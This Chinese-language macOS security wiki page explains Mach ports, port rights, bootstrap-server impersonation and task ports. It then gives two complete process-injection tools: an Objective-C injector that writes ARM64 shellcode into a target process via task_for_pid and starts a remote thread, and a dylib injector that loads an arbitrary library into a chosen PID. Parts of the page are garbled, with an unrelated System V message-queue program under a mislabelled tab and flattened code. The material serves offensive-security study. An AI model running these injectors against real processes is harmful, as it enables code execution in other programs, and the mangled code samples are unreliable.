31 KiB
macOS IPC - 进程间通信
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通过端口进行Mach消息传递
Mach使用任务(task)作为共享资源的最小单位,每个任务可以包含多个线程。这些任务和线程与POSIX进程和线程一一对应。
任务之间的通信通过Mach进程间通信(IPC)进行,利用单向通信通道。消息通过端口进行传输,端口类似于由内核管理的消息队列。
端口权限定义了任务可以执行的操作,这对通信至关重要。可能的端口权限有:
- 接收权限,允许接收发送到端口的消息。Mach端口是MPSC(多生产者,单消费者)队列,这意味着整个系统中每个端口只能有一个接收权限(与管道不同,多个进程可以持有指向管道读端的文件描述符)。
- 拥有接收权限的任务可以接收消息并创建发送权限,从而可以发送消息。最初,只有自己的任务对其端口拥有接收权限。
- 发送权限,允许向端口发送消息。
- 发送权限可以进行克隆,因此拥有发送权限的任务可以克隆该权限并将其授予第三方任务。
- 一次性发送权限,允许向端口发送一条消息,然后消失。
- 端口集权限,表示一个端口集而不是单个端口。从端口集中出队一条消息会从其中一个包含的端口中出队。端口集可用于同时监听多个端口,类似于Unix中的
select
/poll
/epoll
/kqueue
。 - 死命名,不是实际的端口权限,而只是一个占位符。当一个端口被销毁时,所有现有的端口权限都变成死命名。
任务可以将发送权限传输给其他任务,使其能够发送消息回来。发送权限也可以进行克隆,因此任务可以复制并将权限授予第三方任务。这与一个称为引导服务器的中间进程结合使用,可以实现任务之间的有效通信。
步骤:
正如前面提到的,为了建立通信通道,涉及到引导服务器(mac中的launchd)。
- 任务A初始化一个新的端口,在此过程中获得一个接收权限。
- 作为接收权限的持有者,任务A为端口生成一个发送权限。
- 任务A通过引导注册过程与引导服务器建立连接,提供端口的服务名称和发送权限。
- 任务B与引导服务器交互,执行服务名称的引导查找。如果成功,服务器复制从任务A接收到的发送权限,并将其传输给任务B。
- 获得发送权限后,任务B能够构建一条消息并将其发送给任务A。
引导服务器无法对任务声称的服务名称进行身份验证。这意味着一个任务有可能冒充任何系统任务,例如虚假地声称授权服务名称,然后批准每个请求。
然后,Apple将系统提供的服务名称存储在位于SIP保护目录下的安全配置文件中:/System/Library/LaunchDaemons
和/System/Library/LaunchAgents
。引导服务器将为每个这些服务名称创建并持有一个接收权限。
对于这些预定义服务,查找过程略有不同。当查找服务名称时,launchd会动态启动服务。新的工作流程如下:
- 任务B启动服务名称的引导查找。
- launchd检查任务是否正在运行,如果没有,则启动它。
- 任务A(服务)执行引导签入。在这里,引导服务器创建一个发送权限,保留它,并将接收权限传输给任务A。
- launchd复制发送权限并将其发送给任务B。
然而,这个过程仅适用于预定义的系统任务。非系统任务仍然按照最初的描述进行操作,这可能导致冒充。
代码示例
请注意,发送方在分配一个端口后,为名称org.darlinghq.example
创建了一个发送权限,并将其发送到引导服务器,而发送方则请求该名称的发送权限并使用它来发送消息。
{% tabs %} {% tab title="receiver.c" %}
// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
// gcc receiver.c -o receiver
#include <stdio.h>
#include <mach/mach.h>
#include <servers/bootstrap.h>
int main() {
// Create a new port.
mach_port_t port;
kern_return_t kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
if (kr != KERN_SUCCESS) {
printf("mach_port_allocate() failed with code 0x%x\n", kr);
return 1;
}
printf("mach_port_allocate() created port right name %d\n", port);
// Give us a send right to this port, in addition to the receive right.
kr = mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
if (kr != KERN_SUCCESS) {
printf("mach_port_insert_right() failed with code 0x%x\n", kr);
return 1;
}
printf("mach_port_insert_right() inserted a send right\n");
// Send the send right to the bootstrap server, so that it can be looked up by other processes.
kr = bootstrap_register(bootstrap_port, "org.darlinghq.example", port);
if (kr != KERN_SUCCESS) {
printf("bootstrap_register() failed with code 0x%x\n", kr);
return 1;
}
printf("bootstrap_register()'ed our port\n");
// Wait for a message.
struct {
mach_msg_header_t header;
char some_text[10];
int some_number;
mach_msg_trailer_t trailer;
} message;
kr = mach_msg(
&message.header, // Same as (mach_msg_header_t *) &message.
MACH_RCV_MSG, // Options. We're receiving a message.
0, // Size of the message being sent, if sending.
sizeof(message), // Size of the buffer for receiving.
port, // The port to receive a message on.
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL // Port for the kernel to send notifications about this message to.
);
if (kr != KERN_SUCCESS) {
printf("mach_msg() failed with code 0x%x\n", kr);
return 1;
}
printf("Got a message\n");
message.some_text[9] = 0;
printf("Text: %s, number: %d\n", message.some_text, message.some_number);
}
{% tab title="sender.c" %}
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#define MAX_TEXT 512
struct msgbuf {
long mtype;
char mtext[MAX_TEXT];
};
int main() {
int msgid;
struct msgbuf msg;
// Create a message queue
msgid = msgget((key_t)1234, 0666 | IPC_CREAT);
if (msgid == -1) {
perror("msgget failed");
exit(EXIT_FAILURE);
}
// Set the message type
msg.mtype = 1;
// Set the message text
strncpy(msg.mtext, "Hello, receiver!", MAX_TEXT);
// Send the message
if (msgsnd(msgid, (void *)&msg, MAX_TEXT, 0) == -1) {
perror("msgsnd failed");
exit(EXIT_FAILURE);
}
printf("Message sent: %s\n", msg.mtext);
return 0;
}
{% endtab %}
{% tab title="receiver.c" %}
// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
// gcc sender.c -o sender
#include <stdio.h>
#include <mach/mach.h>
#include <servers/bootstrap.h>
int main() {
// Lookup the receiver port using the bootstrap server.
mach_port_t port;
kern_return_t kr = bootstrap_look_up(bootstrap_port, "org.darlinghq.example", &port);
if (kr != KERN_SUCCESS) {
printf("bootstrap_look_up() failed with code 0x%x\n", kr);
return 1;
}
printf("bootstrap_look_up() returned port right name %d\n", port);
// Construct our message.
struct {
mach_msg_header_t header;
char some_text[10];
int some_number;
} message;
message.header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);
message.header.msgh_remote_port = port;
message.header.msgh_local_port = MACH_PORT_NULL;
strncpy(message.some_text, "Hello", sizeof(message.some_text));
message.some_number = 35;
// Send the message.
kr = mach_msg(
&message.header, // Same as (mach_msg_header_t *) &message.
MACH_SEND_MSG, // Options. We're sending a message.
sizeof(message), // Size of the message being sent.
0, // Size of the buffer for receiving.
MACH_PORT_NULL, // A port to receive a message on, if receiving.
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL // Port for the kernel to send notifications about this message to.
);
if (kr != KERN_SUCCESS) {
printf("mach_msg() failed with code 0x%x\n", kr);
return 1;
}
printf("Sent a message\n");
}
{% endtab %} {% endtabs %}
特权端口
- 主机端口:如果一个进程对该端口具有发送权限,他可以获取有关系统的信息(例如
host_processor_info
)。 - 主机特权端口:具有对该端口的发送权限的进程可以执行特权操作,如加载内核扩展。该进程需要是root才能获得此权限。
- 此外,为了调用**
kext_request
** API,还需要具有其他授权**com.apple.private.kext*
**,这些授权仅提供给Apple二进制文件。 - 任务名称端口:_任务端口_的非特权版本。它引用任务,但不允许对其进行控制。似乎唯一可以通过它获得的是
task_info()
。 - 任务端口(也称为内核端口):对该端口具有发送权限,可以控制任务(读/写内存,创建线程等)。
- 调用
mach_task_self()
以获取调用者任务的名称。此端口仅在**exec()
之间继承**;使用fork()
创建的新任务会获得一个新的任务端口(作为特殊情况,suid二进制文件在exec()
之后也会获得一个新的任务端口)。生成任务并获取其端口的唯一方法是在执行fork()
时执行"端口交换舞蹈"。 - 这些是访问端口的限制(来自二进制文件
AppleMobileFileIntegrity
的macos_task_policy
): - 如果应用具有**
com.apple.security.get-task-allow
授权**,来自同一用户的进程可以访问任务端口(通常由Xcode用于调试)。公证过程不允许将其用于生产版本。 - 具有**
com.apple.system-task-ports
授权的应用程序可以获取任何进程的任务端口**,但不能获取内核的任务端口。在旧版本中,它被称为**task_for_pid-allow
**。这仅授予Apple应用程序。 - Root可以访问未使用强化运行时编译(且不是来自Apple)的应用程序的任务端口。
通过任务端口在线程中注入Shellcode
您可以从以下位置获取Shellcode:
{% content-ref url="../../macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md" %} arm64-basic-assembly.md {% endcontent-ref %}
{% tabs %} {% tab title="mysleep.m" %}
// clang -framework Foundation mysleep.m -o mysleep
// codesign --entitlements entitlements.plist -s - mysleep
#import <Foundation/Foundation.h>
double performMathOperations() {
double result = 0;
for (int i = 0; i < 10000; i++) {
result += sqrt(i) * tan(i) - cos(i);
}
return result;
}
int main(int argc, const char * argv[]) {
@autoreleasepool {
NSLog(@"Process ID: %d", [[NSProcessInfo processInfo]
processIdentifier]);
while (true) {
[NSThread sleepForTimeInterval:5];
performMathOperations(); // Silent action
[NSThread sleepForTimeInterval:5];
}
}
return 0;
}
{% tab title="entitlements.plist" %}权限清单.plist{% endtab %}
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>com.apple.security.get-task-allow</key>
<true/>
</dict>
</plist>
{% endtab %} {% endtabs %}
编译之前的程序,并添加权限以能够使用相同的用户注入代码(如果不是,则需要使用sudo)。
sc_injector.m
```objectivec // gcc -framework Foundation -framework Appkit sc_injector.m -o sc_injector#import <Foundation/Foundation.h> #import <AppKit/AppKit.h> #include <mach/mach_vm.h> #include <sys/sysctl.h>
#ifdef arm64
kern_return_t mach_vm_allocate ( vm_map_t target, mach_vm_address_t *address, mach_vm_size_t size, int flags );
kern_return_t mach_vm_write ( vm_map_t target_task, mach_vm_address_t address, vm_offset_t data, mach_msg_type_number_t dataCnt );
#else #include <mach/mach_vm.h> #endif
#define STACK_SIZE 65536 #define CODE_SIZE 128
// ARM64 shellcode that executes touch /tmp/lalala char injectedCode[] = "\xff\x03\x01\xd1\xe1\x03\x00\x91\x60\x01\x00\x10\x20\x00\x00\xf9\x60\x01\x00\x10\x20\x04\x00\xf9\x40\x01\x00\x10\x20\x08\x00\xf9\x3f\x0c\x00\xf9\x80\x00\x00\x10\xe2\x03\x1f\xaa\x70\x07\x80\xd2\x01\x00\x00\xd4\x2f\x62\x69\x6e\x2f\x73\x68\x00\x2d\x63\x00\x00\x74\x6f\x75\x63\x68\x20\x2f\x74\x6d\x70\x2f\x6c\x61\x6c\x61\x6c\x61\x00";
int inject(pid_t pid){
task_t remoteTask;
// Get access to the task port of the process we want to inject into kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask); if (kr != KERN_SUCCESS) { fprintf (stderr, "Unable to call task_for_pid on pid %d: %d. Cannot continue!\n",pid, kr); return (-1); } else{ printf("Gathered privileges over the task port of process: %d\n", pid); }
// Allocate memory for the stack mach_vm_address_t remoteStack64 = (vm_address_t) NULL; mach_vm_address_t remoteCode64 = (vm_address_t) NULL; kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE);
if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr)); return (-2); } else {
fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64); }
// Allocate memory for the code remoteCode64 = (vm_address_t) NULL; kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE );
if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr)); return (-2); }
// Write the shellcode to the allocated memory kr = mach_vm_write(remoteTask, // Task port remoteCode64, // Virtual Address (Destination) (vm_address_t) injectedCode, // Source 0xa9); // Length of the source
if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to write remote thread memory: Error %s\n", mach_error_string(kr)); return (-3); }
// Set the permissions on the allocated code memory kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);
if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to set memory permissions for remote thread's code: Error %s\n", mach_error_string(kr)); return (-4); }
// Set the permissions on the allocated stack memory kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);
if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to set memory permissions for remote thread's stack: Error %s\n", mach_error_string(kr)); return (-4); }
// Create thread to run shellcode struct arm_unified_thread_state remoteThreadState64; thread_act_t remoteThread;
memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) );
remoteStack64 += (STACK_SIZE / 2); // this is the real stack //remoteStack64 -= 8; // need alignment of 16
const char* p = (const char*) remoteCode64;
remoteThreadState64.ash.flavor = ARM_THREAD_STATE64; remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT; remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64; remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64;
printf ("Remote Stack 64 0x%llx, Remote code is %p\n", remoteStack64, p );
kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64, (thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread );
if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to create remote thread: error %s", mach_error_string (kr)); return (-3); }
return (0); }
pid_t pidForProcessName(NSString *processName) { NSArray *arguments = @[@"pgrep", processName]; NSTask *task = [[NSTask alloc] init]; [task setLaunchPath:@"/usr/bin/env"]; [task setArguments:arguments];
NSPipe *pipe = [NSPipe pipe]; [task setStandardOutput:pipe];
NSFileHandle *file = [pipe fileHandleForReading];
[task launch];
NSData *data = [file readDataToEndOfFile]; NSString *string = [[NSString alloc] initWithData:data encoding:NSUTF8StringEncoding];
return (pid_t)[string integerValue]; }
BOOL isStringNumeric(NSString str) { NSCharacterSet nonNumbers = [[NSCharacterSet decimalDigitCharacterSet] invertedSet]; NSRange r = [str rangeOfCharacterFromSet: nonNumbers]; return r.location == NSNotFound; }
int main(int argc, const char * argv[]) { @autoreleasepool { if (argc < 2) { NSLog(@"Usage: %s ", argv[0]); return 1; }
NSString *arg = [NSString stringWithUTF8String:argv[1]]; pid_t pid;
if (isStringNumeric(arg)) { pid = [arg intValue]; } else { pid = pidForProcessName(arg); if (pid == 0) { NSLog(@"Error: Process named '%@' not found.", arg); return 1; } else{ printf("Found PID of process '%s': %d\n", [arg UTF8String], pid); } }
inject(pid); }
return 0; }
</details>
```bash
gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject
./inject <pi or string>
通过任务端口在线程中进行Dylib注入
在 macOS 中,线程可以通过 Mach 或使用 posix pthread
api 进行操作。我们在前面的注入中生成的线程是使用 Mach api 生成的,因此它不符合 posix 标准。
之前我们能够注入一个简单的 shellcode 来执行命令,是因为它不需要使用符合 posix 标准的 api,只需要使用 Mach。而更复杂的注入需要线程也符合 posix 标准。
因此,为了改进线程,应该调用 pthread_create_from_mach_thread
来创建一个有效的 pthread。然后,这个新的 pthread 可以调用 dlopen 来从系统中加载一个 dylib,这样就不需要编写新的 shellcode 来执行不同的操作,而是可以加载自定义库。
你可以在(例如生成日志并监听它的示例 dylibs)中找到示例 dylibs:
{% content-ref url="../../macos-dyld-hijacking-and-dyld_insert_libraries.md" %} macos-dyld-hijacking-and-dyld_insert_libraries.md {% endcontent-ref %}
dylib_injector.m
```objectivec // gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector // Based on http://newosxbook.com/src.jl?tree=listings&file=inject.c #include #include #include #include <sys/types.h> #include <mach/mach.h> #include <mach/error.h> #include #include #include <sys/sysctl.h> #include <sys/mman.h>#include <sys/stat.h> #include <pthread.h>
#ifdef arm64 //#include "mach/arm/thread_status.h"
// Apple says: mach/mach_vm.h:1:2: error: mach_vm.h unsupported // And I say, bullshit. kern_return_t mach_vm_allocate ( vm_map_t target, mach_vm_address_t *address, mach_vm_size_t size, int flags );
kern_return_t mach_vm_write ( vm_map_t target_task, mach_vm_address_t address, vm_offset_t data, mach_msg_type_number_t dataCnt );
#else #include <mach/mach_vm.h> #endif
#define STACK_SIZE 65536 #define CODE_SIZE 128
char injectedCode[] =
// "\x00\x00\x20\xd4" // BRK X0 ; // useful if you need a break :)
// Call pthread_set_self
"\xff\x83\x00\xd1" // SUB SP, SP, #0x20 ; Allocate 32 bytes of space on the stack for local variables "\xFD\x7B\x01\xA9" // STP X29, X30, [SP, #0x10] ; Save frame pointer and link register on the stack "\xFD\x43\x00\x91" // ADD X29, SP, #0x10 ; Set frame pointer to current stack pointer "\xff\x43\x00\xd1" // SUB SP, SP, #0x10 ; Space for the "\xE0\x03\x00\x91" // MOV X0, SP ; (arg0)Store in the stack the thread struct "\x01\x00\x80\xd2" // MOVZ X1, 0 ; X1 (arg1) = 0; "\xA2\x00\x00\x10" // ADR X2, 0x14 ; (arg2)12bytes from here, Address where the new thread should start "\x03\x00\x80\xd2" // MOVZ X3, 0 ; X3 (arg3) = 0; "\x68\x01\x00\x58" // LDR X8, #44 ; load address of PTHRDCRT (pthread_create_from_mach_thread) "\x00\x01\x3f\xd6" // BLR X8 ; call pthread_create_from_mach_thread "\x00\x00\x00\x14" // loop: b loop ; loop forever
// Call dlopen with the path to the library "\xC0\x01\x00\x10" // ADR X0, #56 ; X0 => "LIBLIBLIB..."; "\x68\x01\x00\x58" // LDR X8, #44 ; load DLOPEN "\x01\x00\x80\xd2" // MOVZ X1, 0 ; X1 = 0; "\x29\x01\x00\x91" // ADD x9, x9, 0 - I left this as a nop "\x00\x01\x3f\xd6" // BLR X8 ; do dlopen()
// Call pthread_exit "\xA8\x00\x00\x58" // LDR X8, #20 ; load PTHREADEXT "\x00\x00\x80\xd2" // MOVZ X0, 0 ; X1 = 0; "\x00\x01\x3f\xd6" // BLR X8 ; do pthread_exit
"PTHRDCRT" // <- "PTHRDEXT" // <- "DLOPEN__" // <- "LIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIB" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" ;
int inject(pid_t pid, const char *lib) {
task_t remoteTask; struct stat buf;
// Check if the library exists int rc = stat (lib, &buf);
if (rc != 0) { fprintf (stderr, "Unable to open library file %s (%s) - Cannot inject\n", lib,strerror (errno)); //return (-9); }
// Get access to the task port of the process we want to inject into kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask); if (kr != KERN_SUCCESS) { fprintf (stderr, "Unable to call task_for_pid on pid %d: %d. Cannot continue!\n",pid, kr); return (-1); } else{ printf("Gathered privileges over the task port of process: %d\n", pid); }
// Allocate memory for the stack mach_vm_address_t remoteStack64 = (vm_address_t) NULL; mach_vm_address_t remoteCode64 = (vm_address_t) NULL; kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE);
if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr)); return (-2); } else {
fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64); }
// Allocate memory for the code remoteCode64 = (vm_address_t) NULL; kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE );
if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr)); return (-2); }
// Patch shellcode
int i = 0; char *possiblePatchLocation = (injectedCode ); for (i = 0 ; i < 0x100; i++) {
// Patching is crude, but works. // extern void *_pthread_set_self; possiblePatchLocation++;
uint64_t addrOfPthreadCreate = dlsym ( RTLD_DEFAULT, "pthread_create_from_mach_thread"); //(uint64_t) pthread_create_from_mach_thread; uint64_t addrOfPthreadExit = dlsym (RTLD_DEFAULT, "pthread_exit"); //(uint64_t) pthread_exit; uint64_t addrOfDlopen = (uint64_t) dlopen;
if (memcmp (possiblePatchLocation, "PTHRDEXT", 8) == 0) { memcpy(possiblePatchLocation, &addrOfPthreadExit,8); printf ("Pthread exit @%llx, %llx\n", addrOfPthreadExit, pthread_exit); }
if (memcmp(possiblePatchLocation, "PTHRDCRT", 8) == 0)
{
memcpy(possiblePatchLocation, &addrOfPthreadCreate, 8);
printf("从 mach 线程创建 Pthread @%llx\n", addrOfPthreadCreate);
}
if (memcmp(possiblePatchLocation, "DLOPEN__", 6) == 0)
{
printf("DLOpen @%llx\n", addrOfDlopen);
memcpy(possiblePatchLocation, &addrOfDlopen, sizeof(uint64_t));
}
if (memcmp(possiblePatchLocation, "LIBLIBLIB", 9) == 0)
{
strcpy(possiblePatchLocation, lib);
}
}
// 将 shellcode 写入分配的内存
kr = mach_vm_write(remoteTask, // 任务端口
remoteCode64, // 虚拟地址(目标)
(vm_address_t) injectedCode, // 源
0xa9); // 源的长度
if (kr != KERN_SUCCESS)
{
fprintf(stderr, "无法写入远程线程内存:错误 %s\n", mach_error_string(kr));
return (-3);
}
// 设置分配的代码内存的权限
kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);
if (kr != KERN_SUCCESS)
{
fprintf(stderr, "无法设置远程线程代码的内存权限:错误 %s\n", mach_error_string(kr));
return (-4);
}
// 设置分配的堆栈内存的权限
kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);
if (kr != KERN_SUCCESS)
{
fprintf(stderr, "无法设置远程线程堆栈的内存权限:错误 %s\n", mach_error_string(kr));
return (-4);
}
// 创建线程来运行 shellcode
struct arm_unified_thread_state remoteThreadState64;
thread_act_t remoteThread;
memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64));
remoteStack64 += (STACK_SIZE / 2); // 这是真正的堆栈
//remoteStack64 -= 8; // 需要 16 字节对齐
const char* p = (const char*) remoteCode64;
remoteThreadState64.ash.flavor = ARM_THREAD_STATE64;
remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT;
remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64;
remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64;
printf("远程堆栈 64 0x%llx,远程代码为 %p\n", remoteStack64, p);
kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64,
(thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT, &remoteThread);
if (kr != KERN_SUCCESS) {
fprintf(stderr, "无法创建远程线程:错误 %s", mach_error_string(kr));
return (-3);
}
return (0);
}
int main(int argc, const char * argv[])
{
if (argc < 3)
{
fprintf(stderr, "用法:%s _pid_ _action_\n", argv[0]);
fprintf(stderr, " _action_:磁盘上 dylib 的路径\n");
exit(0);
}
pid_t pid = atoi(argv[1]);
const char *action = argv[2];
struct stat buf;
int rc = stat(action, &buf);
if (rc == 0) inject(pid, action);
else
{
fprintf(stderr, "找不到 dylib\n");
}
}
在这种技术中,进程的一个线程被劫持:
{% content-ref url="../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.md" %} macos-thread-injection-via-task-port.md {% endcontent-ref %}
XPC
基本信息
XPC代表XNU(macOS使用的内核)进程间通信,是macOS和iOS上进程之间通信的框架。XPC提供了一种机制,用于在系统上不同进程之间进行安全的异步方法调用。它是苹果安全范例的一部分,允许创建权限分离的应用程序,其中每个组件仅以执行其工作所需的权限运行,从而限制了受损进程可能造成的潜在损害。
有关此通信工作方式以及可能存在的漏洞的更多信息,请参考:
{% content-ref url="../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/" %} macos-xpc {% endcontent-ref %}
MIG - Mach接口生成器
MIG被创建用于简化Mach IPC代码的生成过程。它基本上为服务器和客户端生成所需的通信代码。即使生成的代码很丑陋,开发人员只需要导入它,他的代码将比以前简单得多。
有关更多信息,请查看:
{% content-ref url="../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md" %} macos-mig-mach-interface-generator.md {% endcontent-ref %}
参考资料
- https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
- https://knight.sc/malware/2019/03/15/code-injection-on-macos.html
- https://gist.github.com/knightsc/45edfc4903a9d2fa9f5905f60b02ce5a
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